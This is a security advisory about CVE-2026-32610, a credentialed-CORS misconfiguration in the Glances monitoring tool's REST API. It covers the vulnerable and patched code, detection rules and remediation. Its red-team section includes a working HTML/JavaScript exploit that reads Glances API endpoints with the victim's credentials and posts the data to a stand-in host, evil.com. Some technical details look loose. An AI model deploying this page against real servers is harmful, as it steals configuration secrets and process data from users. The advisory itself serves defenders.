CVE-2026-32610

Executive Summary

CVE-2026-32610 is a critical misconfiguration vulnerability in the Glances open-source system monitoring tool (Python-based). The Glances REST API web server, built on Starlette, ships with a default CORS (Cross-Origin Resource Sharing) configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any arbitrary website the ability to make credentialed cross-origin API requests to a user's Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

The vulnerability affects all versions prior to 4.5.2. The CVSS score is 8.1 (High), with a vector emphasizing network-based, low-complexity attacks requiring user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the technical impact is severe due to the potential for data exfiltration.

Supply Chain & Package Security

This vulnerability affects the Glances Python package, distributed via PyPI. Users who install Glances via pip install glances are affected if they run the REST API server with default settings. The package is widely used for system monitoring in DevOps and server environments. The fix is available in version 4.5.2, which should be updated immediately. No known malicious packages have been reported, but the misconfiguration could be exploited by any website visited by a user with an active Glances session.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The attack is conducted over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must visit a malicious website while having an active Glances session.
• Scope (S): Unchanged – The vulnerable component and the attacker's scope are the same.
• Confidentiality (C): High – System monitoring data, secrets, and command line arguments can be exfiltrated.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No denial of service.

Threat Level: High. The vulnerability allows a remote attacker to steal sensitive system information from any user who visits a malicious website while their Glances REST API is accessible.

Deep Dive & Mechanics

The vulnerability lies in the default CORS configuration of the Glances REST API server, which uses Starlette's CORSMiddleware. The configuration sets allow_origins=["*"] and allow_credentials=True. According to the CORS specification, when allow_credentials is True, the Access-Control-Allow-Origin header cannot be the wildcard *. To comply, Starlette's middleware reflects the Origin header from the request back in the response. This means any website can set its own Origin header (e.g., https://evil.com) and the server will respond with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true. This allows the malicious website to make authenticated requests (including cookies, HTTP Basic Auth, or client certificates) to the Glances API on behalf of the victim.

The Glances REST API exposes endpoints such as:

• /api/3/monitor – System monitoring data (CPU, memory, disk, network)
• /api/3/config – Configuration secrets (e.g., passwords, API keys)
• /api/3/process – Process list including command line arguments

An attacker can craft a webpage that uses JavaScript fetch() with credentials: 'include' to read these endpoints and exfiltrate the data to their server.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.5.2):

# In glances/rest_api.py or similar
from starlette.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

Patched Code (4.5.2):

# In glances/rest_api.py or similar
from starlette.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],  # Still allows all origins
    allow_credentials=False,  # Credentials are now disabled
    allow_methods=["*"],
    allow_headers=["*"],
)

The fix disables allow_credentials by setting it to False. This prevents the reflection of the Origin header and ensures that the wildcard * is returned, which does not allow credentialed requests. Alternatively, administrators can specify explicit origins.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable Glances: pip install glances==4.5.1
2. Start the REST API server: glances -w
3. The server listens on http://0.0.0.0:61208 by default.

Exploitation Steps:

1. Create a malicious HTML page that makes cross-origin requests to the victim's Glances server.
2. Host the page on an attacker-controlled domain (e.g., https://evil.com).
3. When a victim with an active Glances session visits the page, the JavaScript executes.

Example Exploit Code (HTML + JavaScript):

<!DOCTYPE html>
<html>
<head><title>Glances Data Exfiltration</title></head>
<body>
<script>
async function exfiltrate() {
    const endpoints = [
        'http://victim-ip:61208/api/3/monitor',
        'http://victim-ip:61208/api/3/config',
        'http://victim-ip:61208/api/3/process'
    ];
    for (const url of endpoints) {
        try {
            const response = await fetch(url, { credentials: 'include' });
            const data = await response.text();
            // Exfiltrate to attacker server
            await fetch('https://evil.com/exfil', {
                method: 'POST',
                body: data
            });
        } catch (e) {
            console.error(e);
        }
    }
}
exfiltrate();
</script>
</body>
</html>

Note: The victim must have the Glances server running and accessible from their browser. The attacker must know the victim's Glances server IP and port.

Blue Team

Detection:

• Monitor for unexpected Origin headers in Glances API requests. Legitimate requests should come from known origins.
• Look for Access-Control-Allow-Origin headers reflecting arbitrary origins in server responses.
• Check for multiple rapid API calls to /api/3/* endpoints from a single IP.

Hunting:

• Search logs for Origin headers that do not match expected internal domains.
• Use network monitoring to detect outbound connections from the Glances server to unknown external IPs (data exfiltration).

Mitigation:

• Upgrade to Glances 4.5.2 or later.
• If upgrade is not possible, manually edit the configuration to set allow_credentials=False or specify explicit allow_origins.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to Glances API with Origin header set to an external domain.
  • HTTP responses from Glances with Access-Control-Allow-Origin set to a non-whitelisted domain.
  • Outbound data exfiltration from the Glances server to unknown IPs (e.g., POST requests to https://evil.com/exfil).

• Logs:

  • Glances access logs showing requests from unexpected origins.
  • Browser console errors related to CORS (though these may not be logged server-side).

• File:

  • No file-based IOCs; this is a network-level misconfiguration.

Detection Engineering

YARA Rule

rule CVE_2026_32610_Glances_CORS_Misconfig {
    meta:
        description = "Detects Glances REST API responses with dangerous CORS configuration"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-32610"
    strings:
        $cors_header = "Access-Control-Allow-Origin: " nocase
        $credentials = "Access-Control-Allow-Credentials: true" nocase
    condition:
        $cors_header and $credentials
}

Sigma Rule

title: Glances CORS Misconfiguration Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-32610 by monitoring for cross-origin requests to Glances API
author: Valters IT
logsource:
    category: webserver
    product: glances
detection:
    selection:
        http.method: 'GET'
        http.url|startswith: '/api/3/'
        http.header.origin|contains: '://'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from authorized domains
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-32610 Glances CORS Misconfiguration Exploitation"; flow:to_server; content:"GET"; http_method; content:"/api/3/"; http_uri; content:"Origin|3a|"; http_header_names; pcre:"/Origin:\s*https?:\/\/[^\/]+/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Glances to version 4.5.2 or later: pip install glances --upgrade
2. If upgrade is not possible, manually edit the configuration file (e.g., glances.conf) to set allow_credentials=False and specify explicit allow_origins (e.g., allow_origins=["http://localhost:61208"]).

Long-term:

• Implement network segmentation to restrict access to the Glances REST API to trusted networks only.
• Use a reverse proxy (e.g., Nginx) to add additional CORS controls and authentication.
• Regularly audit open-source dependencies for misconfigurations.

Workaround:

• Disable the REST API if not needed: glances (without -w flag).
• Use firewall rules to block external access to port 61208.

Valters IT